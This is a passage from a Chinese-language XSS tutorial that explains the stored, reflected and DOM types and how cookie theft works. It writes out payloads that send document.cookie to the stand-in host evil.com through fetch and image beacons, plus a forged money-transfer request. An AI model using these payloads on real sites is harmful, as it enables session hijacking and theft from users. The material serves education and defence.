{"id":105778,"date":"2026-09-16T00:32:26","date_gmt":"2026-09-15T16:32:26","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/105778.html"},"modified":"2026-09-16T00:32:26","modified_gmt":"2026-09-15T16:32:26","slug":"xss%e6%b7%b1%e5%ba%a6%e7%90%86%e8%a7%a3%e5%8f%8a%e8%af%a6%e7%bb%86%e5%88%a9%e7%94%a8","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/105778.html","title":{"rendered":"XSS\u6df1\u5ea6\u7406\u89e3\u53ca\u8be6\u7ec6\u5229\u7528"},"content":{"rendered":"<p>\u00a0&#8212;<\/p>\n<p>\u00a0 \u514d\u8d23\u58f0\u660e<\/p>\n<p>\u00a0 \u672c\u6587\u7ae0\u6240\u6709\u5185\u5bb9\u4ec5\u4f9b\u5b66\u4e60\u4ea4\u6d41\u4e0e\u5b89\u5168\u7814\u7a76\u4f7f\u7528,\u65e8\u5728\u5e2e\u52a9\u5f00\u53d1\u8005\u548c\u5b89\u5168\u7231\u597d\u8005\u7406\u89e3\u6f0f\u6d1e\u539f\u7406\u3001\u63d0\u5347\u9632\u5fa1\u80fd\u529b\u3002<\/p>\n<p>\u00a0 1. \u6388\u6743\u524d\u63d0:\u672c\u6587\u6d89\u53ca\u7684\u6280\u672f\u3001payload\u3001\u7ed5\u8fc7\u65b9\u6cd5\u4ec5\u53ef\u5728\u4f60\u62e5\u6709\u6240\u6709\u6743\u6216\u5df2\u83b7\u5f97\u660e\u786e\u4e66\u9762\u6388\u6743\u7684\u76ee\u6807\u4e0a\u8fdb\u884c\u6d4b\u8bd5\u3002\u672a\u7ecf\u6388\u6743\u5bf9\u4efb\u4f55\u7cfb\u7edf\u8fdb\u884c\u6d4b\u8bd5\u5747\u5c5e\u8fdd\u6cd5\u884c\u4e3a\u3002 \u00a0 2. \u7981\u6b62\u975e\u6cd5\u7528\u9014:\u8bfb\u8005\u4e0d\u5f97\u5c06\u672c\u6587\u5185\u5bb9\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u5165\u4fb5\u3001\u653b\u51fb\u3001\u7834\u574f\u6216\u7a83\u53d6\u4ed6\u4eba\u6570\u636e\u7684\u6d3b\u52a8\u3002\u4e00\u5207\u672a\u7ecf\u6388\u6743\u7684\u6e17\u900f\u6d4b\u8bd5\u3001\u672a\u6388\u6743\u8bbf\u95ee\u5747\u8fdd\u53cd\u300a\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u300a\u5211\u6cd5\u300b\u7b2c\u4e8c\u767e\u516b\u5341\u4e94\u6761\u3001\u7b2c\u4e8c\u767e\u516b\u5341\u516d\u6761\u7b49\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4,\u53ef\u80fd\u6784\u6210\u975e\u6cd5\u4fb5\u5165\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u7f6a\u3001\u7834\u574f\u8ba1\u7b97\u673a\u4fe1\u606f\u7cfb\u7edf\u7f6a\u7b49\u3002 \u00a0 3. \u8d23\u4efb\u81ea\u8d1f:\u8bfb\u8005\u4f7f\u7528\u672c\u6587\u6240\u8f7d\u4fe1\u606f\u53ca\u6280\u672f\u6240\u4ea7\u751f\u7684\u4e00\u5207\u540e\u679c\u7531\u5176\u672c\u4eba\u627f\u62c5,\u4f5c\u8005\u4e0d\u627f\u62c5\u4efb\u4f55\u76f4\u63a5\u6216\u95f4\u63a5\u7684\u6cd5\u5f8b\u8d23\u4efb\u53ca\u8fde\u5e26\u8d23\u4efb\u3002 \u00a0 4. \u5185\u5bb9\u6027\u8d28:\u672c\u6587\u6240\u8ff0\u6280\u672f\u5747\u4e3a\u516c\u5f00\u7684\u5b89\u5168\u7814\u7a76\u77e5\u8bc6,\u4f5c\u8005\u4e0d\u4fdd\u8bc1\u5185\u5bb9\u7684\u5b8c\u6574\u6027\u4e0e\u65f6\u6548\u6027,\u4ea6\u4e0d\u4ee3\u8868\u9f13\u52b1\u6216\u6559\u5506\u4efb\u4f55\u8fdd\u6cd5\u884c\u4e3a\u3002 \u00a0 5. \u5b66\u4e60\u5bfc\u5411:\u6587\u4e2d\u6d89\u53ca\u7684\u4ee3\u7801\u793a\u4f8b\u4ec5\u7528\u4e8e\u6f14\u793a\u6f0f\u6d1e\u539f\u7406,\u5b9e\u9645\u73af\u5883\u4e2d\u8bf7\u59cb\u7ec8\u9075\u5faa\u6700\u5c0f\u6388\u6743\u3001\u5408\u89c4\u6d4b\u8bd5\u3001\u53ca\u65f6\u4fee\u590d\u7684\u539f\u5219\u3002<\/p>\n<p>\u00a0 \u8bfb\u8005\u7ee7\u7eed\u9605\u8bfb\u5373\u89c6\u4e3a\u5df2\u9605\u8bfb\u3001\u7406\u89e3\u5e76\u540c\u610f\u4e0a\u8ff0\u58f0\u660e\u3002 \u82e5\u4e0d\u540c\u610f,\u8bf7\u7acb\u5373\u505c\u6b62\u9605\u8bfb\u5e76\u5173\u95ed\u672c\u9875\u9762\u3002<\/p>\n<p>\u00a0 \u7f51\u7edc\u5b89\u5168\u4eba\u4eba\u6709\u8d23\u3002\u5b66\u6280\u672f,\u5148\u5b66\u89c4\u77e9;\u61c2\u653b\u51fb,\u662f\u4e3a\u4e86\u66f4\u597d\u5730\u9632\u5fa1\u3002<\/p>\n<p>\u00a0 &#8212;<\/p>\n<\/p>\n<\/p>\n<h2 id=\"iHELe\">XSS \u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e<\/h2>\n<p id=\"ubde1e254\">\u7531\u6d45\u5165\u6df1\u6574\u7406\u3002\u6bcf\u5c42\u90fd\u5efa\u7acb\u5728\u524d\u4e00\u5c42\u4e4b\u4e0a,\u7406\u89e3\u65f6\u6309\u987a\u5e8f\u8bfb\u3002 \u91cd\u8981\u6982\u5ff5\u7528\u4ee3\u7801&#043;\u6ce8\u91ca\u89e3\u91ca,\u53ef\u76f4\u63a5\u5bf9\u7167\u3002<\/p>\n<hr id=\"fymZZ\" \/>\n<h3 id=\"CvvyL\">\u76ee\u5f55<\/h3>\n<ul>\n<li id=\"u095a2c3a\">\u7b2c\u4e00\u5c42:\u4e09\u79cd XSS \u7c7b\u578b\u7684\u672c\u8d28<\/li>\n<li id=\"u93c576d0\">\u7b2c\u4e8c\u5c42:\u653b\u51fb\u8005\u5982\u4f55\u5077\u5230\u4f60\u7684 cookie(\u6838\u5fc3\u673a\u5236)<\/li>\n<li id=\"udeea62f0\">\u7b2c\u4e09\u5c42:\u4e00\u4e2a payload \u91cc\u5230\u5e95\u53e0\u4e86\u51e0\u79cd\u8bed\u8a00<\/li>\n<li id=\"uc8a88887\">\u7b2c\u56db\u5c42:\u771f\u5b9e payload \u9010\u6bb5\u62c6\u89e3<\/li>\n<li id=\"u51fcc383\">\u7b2c\u4e94\u5c42:\u54ea\u91cc\u80fd\u6d4b XSS(\u8f93\u5165\u2192\u8f93\u51fa\u6a21\u578b)<\/li>\n<li id=\"u0d24b15e\">\u7b2c\u516d\u5c42:&lt;script&gt;\u00a0\u4e3a\u4ec0\u4e48\u4e0d\u597d\u7528 &#043; \u6ce8\u5165\u4e0a\u4e0b\u6587\u5224\u65ad<\/li>\n<li id=\"uf7b6c266\">\u7b2c\u4e03\u5c42:WAF \u8fc7\u6ee4\u65b9\u6cd5\u4e0e\u7ed5\u8fc7\u65b9\u5f0f<\/li>\n<li id=\"u555f60f1\">\u7b2c\u516b\u5c42:\u5b8c\u6574\u5229\u7528\u94fe(\u4ece\u5f39\u7a97\u5230 RCE)<\/li>\n<li id=\"u42968083\">\u7b2c\u4e5d\u5c42:\u8fdb\u9636\u2014\u2014\u76f2 XSS\u3001Self-XSS\u3001\u73b0\u4ee3\u6846\u67b6<\/li>\n<li id=\"u1fedc6a1\">\u7b2c\u5341\u5c42:\u9632\u5fa1\u4fa7(\u77e5\u9053\u600e\u4e48\u4fee\u624d\u77e5\u9053\u54ea\u91cc\u6ca1\u4fee\u5bf9)<\/li>\n<li id=\"u2ea79cb3\">\u901f\u67e5\u8868<\/li>\n<\/ul>\n<hr id=\"nAeSG\" \/>\n<h3 id=\"jaJAR\">\u7b2c\u4e00\u5c42:\u4e09\u79cd XSS \u7c7b\u578b\u7684\u672c\u8d28<\/h3>\n<p id=\"u1886c3e8\">\u4e09\u7c7b XSS \u6700\u7ec8\u76ee\u7684\u90fd\u4e00\u6837:\u5728\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u91cc\u3001\u4ee5\u53d7\u5bb3\u8005\u8eab\u4efd\u3001\u5728\u53ef\u4fe1\u57df\u540d\u4e0b\u6267\u884c\u4e00\u6bb5 JS\u3002 \u533a\u522b\u53ea\u5728 payload \u5b58\u4e0d\u5b58\u5728\u3001\u600e\u4e48\u9001\u5230\u53d7\u5bb3\u8005\u624b\u91cc\u3002<\/p>\n<table id=\"DvzB8\">\n<tbody>\n<tr>\n<td>\n<p id=\"u92b64188\">\u7c7b\u578b<\/p>\n<\/td>\n<td>\n<p id=\"u2102781e\">payload \u5b58\u54ea<\/p>\n<\/td>\n<td>\n<p id=\"u556399cd\">\u600e\u4e48\u9001\u5230\u53d7\u5bb3\u8005<\/p>\n<\/td>\n<td>\n<p id=\"u04b0a43a\">\u670d\u52a1\u5668\u80fd\u770b\u5230\u5417<\/p>\n<\/td>\n<td>\n<p id=\"ua0d2bc0a\">\u68c0\u6d4b\u96be\u5ea6<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uf8b94770\">\u5b58\u50a8\u578b<\/p>\n<\/td>\n<td>\n<p id=\"u9ea66205\">\u670d\u52a1\u5668\u6570\u636e\u5e93<\/p>\n<\/td>\n<td>\n<p id=\"uc581babd\">\u53d7\u5bb3\u8005\u6b63\u5e38\u8bbf\u95ee\u9875\u9762<\/p>\n<\/td>\n<td>\n<p id=\"u239182ed\">\u80fd<\/p>\n<\/td>\n<td>\n<p id=\"ua397d4d8\">\u4f4e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uaf5e5dff\">\u53cd\u5c04\u578b<\/p>\n<\/td>\n<td>\n<p id=\"u65bf312d\">\u4e0d\u5b58,\u5728 URL\/\u8bf7\u6c42\u91cc<\/p>\n<\/td>\n<td>\n<p id=\"uf65ffb32\">\u793e\u5de5\u8bf1\u9a97\u70b9\u94fe\u63a5<\/p>\n<\/td>\n<td>\n<p id=\"u10227845\">\u80fd(\u54cd\u5e94\u91cc\u56de\u663e)<\/p>\n<\/td>\n<td>\n<p id=\"u4c980dfd\">\u4e2d<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ua35e60cc\">DOM \u578b<\/p>\n<\/td>\n<td>\n<p id=\"u81ef6de4\">\u4e0d\u5b58,\u5728 URL fragment \u7b49<\/p>\n<\/td>\n<td>\n<p id=\"u5d200ddc\">\u793e\u5de5\u8bf1\u9a97\u70b9\u94fe\u63a5<\/p>\n<\/td>\n<td>\n<p id=\"ufa48e704\">\u770b\u4e0d\u5230<\/p>\n<\/td>\n<td>\n<p id=\"ub8c92ac3\">\u9ad8<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"jEggB\">\u5b58\u50a8\u578b<\/h4>\n<p id=\"u3b15f965\">\u8bc4\u8bba\u533a\u53ea\u662f\u6700\u5178\u578b\u7684\u4e00\u79cd\u3002\u672c\u8d28:\u7528\u6237\u53ef\u63a7\u6570\u636e\u88ab\u5b58\u4e0b\u6765,\u4e4b\u540e\u6e32\u67d3\u7ed9\u522b\u4eba\u770b\u3002\u8fd9\u7c7b\u70b9\u5230\u5904\u90fd\u662f:<\/p>\n<ul>\n<li id=\"u8ebb97c4\">\u4e2a\u4eba\u8d44\u6599\u5b57\u6bb5:\u6635\u79f0\u3001\u7b80\u4ecb\u3001\u7b7e\u540d\u3001\u5934\u50cf URL\u3001\u4e3b\u9875\u94fe\u63a5<\/li>\n<li id=\"u0e485941\">\u4ea4\u4e92\/\u6c9f\u901a\u7c7b:\u79c1\u4fe1\u3001\u804a\u5929\u5ba4\u3001\u5ba2\u670d\u5de5\u5355\u3001\u7ad9\u5185\u4fe1\u3001\u8ba2\u5355\u5907\u6ce8<\/li>\n<li id=\"u3eb77b48\">\u5185\u5bb9\u7c7b:\u8bba\u575b\u5e16\u3001wiki\u3001\u4ea7\u54c1\u8bc4\u4ef7\u3001\u7559\u8a00\u677f<\/li>\n<li id=\"u47c14bdf\">\u6587\u4ef6\u7c7b:\u4e0a\u4f20\u7684 SVG(\u5185\u5d4c &lt;script&gt;)\u3001HTML \u6587\u4ef6\u3001\u6587\u4ef6\u540d\u672c\u8eab<\/li>\n<li id=\"u1efb76a7\">\u540e\u53f0\u7ba1\u7406\u754c\u9762:\u7ba1\u7406\u5458\u770b\u7684\u65e5\u5fd7\/\u5de5\u5355\/\u62a5\u8868\u91cc\u6e32\u67d3\u4e86\u7528\u6237\u53ef\u63a7\u6570\u636e \u2192 \u6253\u8fdb\u540e\u53f0<\/li>\n<\/ul>\n<p id=\"ud97ec03e\">\u6700\u5bb9\u6613\u5ffd\u7565\u7684\u4e00\u6761:\u628a payload \u85cf\u5728 HTTP \u5934\u6216\u6587\u4ef6\u540d\u91cc(User-Agent\u3001Referer\u3001\u6587\u4ef6\u540d),\u8fd9\u4e9b\u6570\u636e\u5e38\u88ab\u670d\u52a1\u5668\u8bb0\u5f55\u3001\u7136\u540e\u7ba1\u7406\u540e\u53f0\u65e5\u5fd7\u5217\u8868\u76f4\u63a5\u56de\u663e \u2192 \u7ba1\u7406\u5458\u4e00\u6253\u5f00\u5c31\u4e2d\u62db\u3002<\/p>\n<h4 id=\"G3JLv\">\u53cd\u5c04\u578b<\/h4>\n<p id=\"ucc909cbd\">payload \u4e0d\u843d\u5e93,\u670d\u52a1\u5668\u628a\u8bf7\u6c42\u91cc\u7684\u53c2\u6570\u539f\u6837\u62fc\u8fdb\u54cd\u5e94 HTML \u8fd4\u56de\u3002<\/p>\n<p>\u653b\u51fb\u8005\u6784\u9020\u94fe\u63a5:<br \/>\nhttps:\/\/victim.com\/search?q&#061;&lt;script&gt;fetch(&#039;\/\/evil.com\/?c&#061;&#039;&#043;document.cookie)&lt;\/script&gt;<br \/>\n\u53d7\u5bb3\u8005\u70b9\u51fb \u2192 \u6d4f\u89c8\u5668\u8bf7\u6c42 victim.com \u2192 \u670d\u52a1\u5668\u628a q \u539f\u6837\u56de\u663e \u2192 \u811a\u672c\u5728 victim.com \u6e90\u3001\u53d7\u5bb3\u8005\u4f1a\u8bdd\u91cc\u6267\u884c <\/p>\n<p id=\"ubd26e425\">\u96be\u70b9\u5728 \u9700\u8981\u793e\u5de5\u89e6\u53d1,\u4f46\u4e00\u65e6\u89e6\u53d1,\u5371\u5bb3\u7b49\u540c\u5b58\u50a8\u578b\u3002<\/p>\n<h4 id=\"kLuu4\">DOM \u578b<\/h4>\n<p id=\"u84a73546\">\u6f0f\u6d1e 100% \u5728\u5ba2\u6237\u7aef JS,\u670d\u52a1\u5668\u6839\u672c\u4e0d\u77e5\u9053\u3002\u670d\u52a1\u5668\u8fd4\u56de\u7684 HTML \u53ef\u80fd\u662f\u9759\u6001\u7684,\u95ee\u9898\u51fa\u5728\u9875\u9762 JS:\u4ece&#034;\u6e90&#034;\u8bfb\u6570\u636e,\u4e0d\u5904\u7406\u5c31\u5199\u8fdb&#034;\u6c47&#034;\u3002<\/p>\n<p>\/\/ \u6e90(source):\u7528\u6237\u53ef\u63a7\u7684\u8f93\u5165\u4f4d\u7f6e<br \/>\nlocation.hash          \/\/ URL \u7684 # \u540e\u9762<br \/>\nlocation.search        \/\/ URL \u7684 ? \u540e\u9762<br \/>\ndocument.referrer      \/\/ \u4ece\u54ea\u6765\u7684<br \/>\ndocument.URL<br \/>\npostMessage \u6536\u5230\u7684\u6570\u636e<\/p>\n<p>\/\/ \u6c47(sink):\u628a\u6570\u636e\u5199\u8fdb DOM \u7684\u5371\u9669\u64cd\u4f5c<br \/>\ninnerHTML              \/\/ \u5371\u9669<br \/>\ndocument.write         \/\/ \u5371\u9669<br \/>\neval                   \/\/ \u5371\u9669<br \/>\nsetTimeout(\u5b57\u7b26\u4e32)      \/\/ \u5371\u9669<br \/>\nlocation.href &#061; &#8230;     \/\/ \u5371\u9669 <\/p>\n<p id=\"ud225d9cc\">\u7ecf\u5178\u6f0f\u6d1e\u4ee3\u7801:<\/p>\n<p>var name &#061; location.hash.slice(1);                    \/\/ \u6e90:\u8bfb hash<br \/>\ndocument.getElementById(&#039;welcome&#039;).innerHTML &#061; name;   \/\/ \u6c47:\u76f4\u63a5\u5199 DOM,\u65e0\u8fc7\u6ee4 <\/p>\n<p id=\"u52f427f8\">\u653b\u51fb\u94fe\u63a5(# \u540e\u7684\u90e8\u5206\u4e0d\u53d1\u5230\u670d\u52a1\u5668):<\/p>\n<p>https:\/\/victim.com\/#&lt;img src&#061;x onerror&#061;alert(document.cookie)&gt; <\/p>\n<p id=\"u549ad90f\">\u7279\u70b9:\u670d\u52a1\u5668\u54cd\u5e94\u5305\u91cc\u770b\u4e0d\u5230 payload,WAF\u3001\u65e5\u5fd7\u3001\u670d\u52a1\u7aef\u8fc7\u6ee4\u5168\u62e6\u4e0d\u5230\u3002\u68c0\u6d4b\u5fc5\u987b\u5ba1\u524d\u7aef JS \u7684&#034;\u6e90\u2192\u6c47&#034;\u6570\u636e\u6d41\u3002<\/p>\n<hr id=\"wN52r\" \/>\n<h3 id=\"ODyWi\">\u7b2c\u4e8c\u5c42:\u653b\u51fb\u8005\u5982\u4f55\u5077\u5230\u4f60\u7684 cookie(\u6838\u5fc3\u673a\u5236)<\/h3>\n<p id=\"uba18edd6\">\u5173\u952e:\u811a\u672c\u786e\u5b9e\u5728\u4f60\u7684\u6d4f\u89c8\u5668\u91cc\u8dd1,\u4f46\u653b\u51fb\u8005\u4e0d\u662f\u4ece\u4f60\u7684\u4f1a\u8bdd\u91cc\u76f4\u63a5\u8bfb,\u800c\u662f\u8ba9\u90a3\u6bb5\u811a\u672c\u5f53\u5feb\u9012\u5458,\u628a cookie \u4e3b\u52a8\u53d1\u5230\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668\u3002<\/p>\n<h4 id=\"uAWTi\">\u5b8c\u6574\u8d70\u4e00\u904d<\/h4>\n<p>&lt;!&#8211; \u4f60\u70b9\u7684\u94fe\u63a5,\u811a\u672c\u5728 victim.com \u6e90\u91cc\u6267\u884c &#8211;&gt;<br \/>\n&lt;script&gt;<br \/>\n  \/\/ 1. \u8bfb cookie:\u80fd\u8bfb\u5230,\u56e0\u4e3a\u811a\u672c\u5c31\u5728 victim.com \u81ea\u5df1\u7684\u6e90\u91cc<br \/>\n  var c &#061; document.cookie;  \/\/ \u4f8b\u5982 session&#061;abc123<\/p>\n<p>  \/\/ 2. \u5efa Image \u5bf9\u8c61,src \u6307\u5411\u653b\u51fb\u8005\u670d\u52a1\u5668 \u2192 \u6d4f\u89c8\u5668\u7acb\u523b\u53d1\u8bf7\u6c42<br \/>\n  new Image().src &#061; &#039;\/\/evil.com\/c?cookie&#061;&#039; &#043; c;<br \/>\n&lt;\/script&gt;<\/p>\n<p>3. \u6d4f\u89c8\u5668\u4ece\u3010\u4f60\u7684\u673a\u5668\u3011\u5411\u3010\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668 evil.com\u3011\u53d1\u8bf7\u6c42,cookie \u5199\u5728 URL \u53c2\u6570\u91cc<\/p>\n<p>4. \u653b\u51fb\u8005\u770b\u81ea\u5df1\u670d\u52a1\u5668\u7684\u8bbf\u95ee\u65e5\u5fd7:<br \/>\n   GET \/c?cookie&#061;session&#061;abc123   \u2190 \u6765\u81ea\u4f60\u7684 IP<\/p>\n<p>5. \u653b\u51fb\u8005\u628a session&#061;abc123 \u586b\u8fdb\u81ea\u5df1\u6d4f\u89c8\u5668 \u2192 \u5237\u65b0 victim.com \u2192 \u53d8\u6210\u4f60 <\/p>\n<h4 id=\"yKFba\">\u4e3a\u4ec0\u4e48\u540c\u6e90\u7b56\u7565\u6321\u4e0d\u4f4f?<\/h4>\n<p id=\"u42e4fca4\">\u540c\u6e90\u7b56\u7565\u7684\u8fb9\u754c\u8981\u5206\u6e05:<\/p>\n<ul>\n<li id=\"ueb8162c6\">\u8bfb:\u811a\u672c\u80fd\u8bfb victim.com \u7684 cookie,\u56e0\u4e3a\u5b83\u5c31\u5728 victim.com \u6e90\u91cc\u6267\u884c,\u8bfb\u81ea\u5df1\u7684 cookie \u5929\u7ecf\u5730\u4e49\u3002<\/li>\n<li id=\"u27eb2662\">\u53d1:\u6d4f\u89c8\u5668\u5141\u8bb8\u811a\u672c\u5411\u4efb\u610f\u57df\u540d\u53d1\u8bf7\u6c42(\u56fe\u7247\u3001fetch\u3001\u8868\u5355\u90fd\u80fd\u53d1)\u3002\u540c\u6e90\u7b56\u7565\u53ea\u9650\u5236&#034;\u8bfb\u522b\u4eba\u8fd4\u56de\u7684\u5185\u5bb9&#034;,\u4e0d\u9650\u5236&#034;\u53d1\u8bf7\u6c42\u51fa\u53bb&#034;\u3002<\/li>\n<\/ul>\n<p id=\"ua1587a39\">\u800c\u5077 cookie \u8fd9\u4ef6\u4e8b,\u653b\u51fb\u8005\u6839\u672c\u4e0d\u9700\u8981\u8bfb evil.com \u7684\u8fd4\u56de\u7ed3\u679c\u2014\u2014\u53ea\u8981\u8bf7\u6c42\u53d1\u51fa\u53bb\u4e86,\u670d\u52a1\u5668\u65e5\u5fd7\u91cc\u5c31\u6709\u4e86\u3002\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48\u7528 &lt;img&gt; \/ new Image() \u8fd9\u79cd&#034;\u53ea\u7ba1\u53d1\u3001\u4e0d\u7ba1\u6536&#034;\u7684\u65b9\u5f0f\u6700\u7ecf\u5178,\u8fde CORS \u90fd\u62e6\u4e0d\u4f4f\u5b83\u3002<\/p>\n<p>\/\/ \u6d4f\u89c8\u5668:\u5141\u8bb8\u53d1\u8bf7\u6c42\u51fa\u53bb(\u4e0d\u7ba1\u6536) \u2192 \u56fe\u7247\u4fe1\u6807\u80fd\u8de8\u57df<br \/>\n\/\/ \u6d4f\u89c8\u5668:\u7981\u6b62\u8bfb\u522b\u4eba\u57df\u7684\u8fd4\u56de\u5185\u5bb9 \u2192 CORS \u7ba1\u8fd9\u6761,\u4f46\u5077 cookie \u7528\u4e0d\u4e0a\u8fd9\u6761<br \/>\nnew Image().src &#061; &#039;\/\/evil.com\/c?c&#061;&#039; &#043; document.cookie;  \/\/ \u5fc5\u4e2d <\/p>\n<h4 id=\"bIUTO\">HttpOnly \u7684\u4f5c\u7528\u4e0e\u5c40\u9650<\/h4>\n<p id=\"ub985196d\">cookie \u5e26 HttpOnly \u6807\u8bb0 \u2192 document.cookie \u8bfb\u4e0d\u5230 \u2192 \u4e0a\u9762\u8fd9\u6761\u5077\u6cd5\u5931\u6548\u3002 \u4f46 XSS \u4f9d\u7136\u5371\u9669,\u56e0\u4e3a\u6d4f\u89c8\u5668\u5728\u5411 victim.com \u53d1\u8bf7\u6c42\u65f6\u4f1a\u81ea\u52a8\u5e26\u4e0a HttpOnly cookie:<\/p>\n<p>\/\/ \u4e0d\u9700\u8981\u8bfb cookie,\u76f4\u63a5\u501f\u53d7\u5bb3\u8005\u7684\u8eab\u4efd\u8c03\u63a5\u53e3<br \/>\nfetch(&#039;\/api\/transfer&#039;, {<br \/>\n  method: &#039;POST&#039;,<br \/>\n  credentials: &#039;include&#039;,          \/\/ \u81ea\u52a8\u5e26 HttpOnly cookie<br \/>\n  body: &#039;to&#061;attacker&amp;amount&#061;10000&#039;<br \/>\n}); <\/p>\n<p id=\"u00b35896\">\u7ed3\u8bba:HttpOnly \u6321\u5f97\u4f4f&#034;\u5077&#034;,\u6321\u4e0d\u4f4f&#034;\u501f\u5200\u529e\u4e8b&#034;\u3002 \u8fd9\u662f\u4e3a\u4ec0\u4e48 XSS \u5373\u4f7f\u6709 HttpOnly \u4e5f\u8fd8\u662f\u9ad8\u5371\u3002<\/p>\n<h4 id=\"EOL0B\">&#034;\u4fe1\u4efb\u57df\u540d&#034;\u7684\u672c\u8d28<\/h4>\n<p id=\"u92c693d2\">\u653b\u51fb\u8005\u4e0d\u9700\u8981\u77e5\u9053\u4f60\u4fe1\u4efb\u54ea\u4e2a\u57df\u540d\u3002\u4ed6\u505a\u7684\u4e8b\u60c5\u662f\u53cd\u8fc7\u6765\u7684:<\/p>\n<li id=\"u6c8e83b6\">\u5148\u9009\u5b9a\u4e00\u4e2a\u6709\u6f0f\u6d1e\u4e14\u6709\u503c\u94b1\u8d26\u53f7\u7684\u7f51\u7ad9(\u6316\u5230 mail.example.com \u7684\u53cd\u5c04\u578b XSS)<\/li>\n<li id=\"ub97087a4\">\u7fa4\u53d1\u9493\u9c7c\u90ae\u4ef6:&#034;\u60a8\u7684\u90ae\u7bb1\u6709\u5b89\u5168\u544a\u8b66,\u70b9\u6b64\u786e\u8ba4&#034;,\u94fe\u63a5 &#061; mail.example.com \u672c\u8eab\u5e26 payload<\/li>\n<li id=\"u6d78d352\">\u5176\u4e2d\u6070\u597d\u767b\u5f55\u7740 mail.example.com\u7684\u4eba\u70b9\u5f00 \u2192 \u811a\u672c\u5728 mail.example.com \u6e90\u6267\u884c \u2192 \u81ea\u52a8\u83b7\u5f97\u540c\u6e90\u6743\u9650<\/li>\n<p id=\"u71225a20\">&#034;\u4fe1\u4efb&#034;\u672c\u8d28\u662f &#034;\u4f60\u548c\u90a3\u4e2a\u7f51\u7ad9\u4e4b\u95f4\u7684\u767b\u5f55\u4f1a\u8bdd&#034;,\u7531\u6d4f\u89c8\u5668\u540c\u6e90\u7b56\u7565\u51b3\u5b9a,\u653b\u51fb\u8005\u6cbe\u4e86\u540c\u6e90\u7684\u5149\u3002 \u653b\u51fb\u8005\u771f\u6b63\u8981\u89e3\u51b3\u7684\u53ea\u6709\u4e24\u4ef6\u4e8b:\u2460 \u76ee\u6807\u7ad9\u6709\u6ca1\u6709\u6f0f\u6d1e(\u6280\u672f);\u2461 \u600e\u4e48\u8ba9\u76ee\u6807\u7ad9\u767b\u5f55\u7528\u6237\u70b9\u94fe\u63a5(\u793e\u5de5)\u3002<\/p>\n<hr id=\"ISO2o\" \/>\n<h3 id=\"hJ7xk\">\u7b2c\u4e09\u5c42:\u4e00\u4e2a payload \u91cc\u5230\u5e95\u53e0\u4e86\u51e0\u79cd\u8bed\u8a00<\/h3>\n<p id=\"ue7abcf3d\">\u4ee5 &lt;img src&#061;x onerror&#061;alert(1)&gt; \u4e3a\u4f8b,\u5b83\u5176\u5b9e\u6df7\u4e86\u4e09\u5c42\u8bed\u6cd5:<\/p>\n<p>&lt;img src&#061;x onerror&#061;alert(1)&gt;<br \/>\n\u2514\u252c\u2500\u2518 \u2514\u252c\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2518<br \/>\n HTML  \u5c5e\u6027\u503c    \u4e8b\u4ef6\u5c5e\u6027 &#043; \u5b83\u7684\u503c<br \/>\n                  \u2191\u95e8\u662fHTML  \u2191\u503c\u662fJavaScript <\/p>\n<table id=\"Tyz8Q\">\n<tbody>\n<tr>\n<td>\n<p id=\"ucd704b2f\">\u7247\u6bb5<\/p>\n<\/td>\n<td>\n<p id=\"u161d4451\">\u662f\u4ec0\u4e48<\/p>\n<\/td>\n<td>\n<p id=\"u5a3f56b5\">\u8bf4\u660e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uc9832450\">&lt;img&gt;<\/p>\n<\/td>\n<td>\n<p id=\"u22987482\">HTML<\/p>\n<\/td>\n<td>\n<p id=\"uf08c8380\">\u6807\u7b7e,\u5b9a\u4e49&#034;\u8fd9\u662f\u4e00\u5f20\u56fe\u7247&#034;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ua049dc7a\">src&#061;x<\/p>\n<\/td>\n<td>\n<p id=\"u2875c90e\">HTML \u5c5e\u6027<\/p>\n<\/td>\n<td>\n<p id=\"u577775c3\">\u56fe\u7247\u5730\u5740,\u503c\u662f\u666e\u901a\u6587\u672c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u98d07042\">onerror&#061;alert(1)<\/p>\n<\/td>\n<td>\n<p id=\"u87c4ca58\">HTML \u5c5e\u6027 &#043; JavaScript<\/p>\n<\/td>\n<td>\n<p id=\"u2ffc264e\">onerror \u662f HTML \u9884\u5b9a\u4e49\u7684\u4e8b\u4ef6\u5c5e\u6027\u540d,\u5b83\u7684\u503c alert(1) \u662f JS<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p id=\"u2a0e7769\">\u5173\u952e\u6d1e\u5bdf:HTML \u91cc\u7684&#034;\u4e8b\u4ef6\u5c5e\u6027&#034;(onerror\u3001onload\u3001onclick\u2026)\u662f\u4e00\u6247\u95e8,\u95e8\u672c\u8eab\u662f HTML,\u95e8\u91cc\u9762\u88c5\u7684\u662f JavaScript\u3002\u6d4f\u89c8\u5668\u9047\u5230\u4e8b\u4ef6\u89e6\u53d1\u65f6,\u628a\u5c5e\u6027\u503c\u5f53 JS \u6267\u884c\u3002<\/p>\n<h4 id=\"wIOtZ\">\u4e09\u4e2a\u5c42\u6b21<\/h4>\n<p id=\"u56e47957\">1. HTML \u2014\u2014 \u7ed3\u6784\u9aa8\u67b6(\u8d1f\u8d23&#034;\u628a\u4ee3\u7801\u85cf\u8fdb\u9875\u9762\u7ed3\u6784\u91cc&#034;)<\/p>\n<p>&lt;img&gt; &lt;script&gt; &lt;svg&gt; &lt;div&gt; 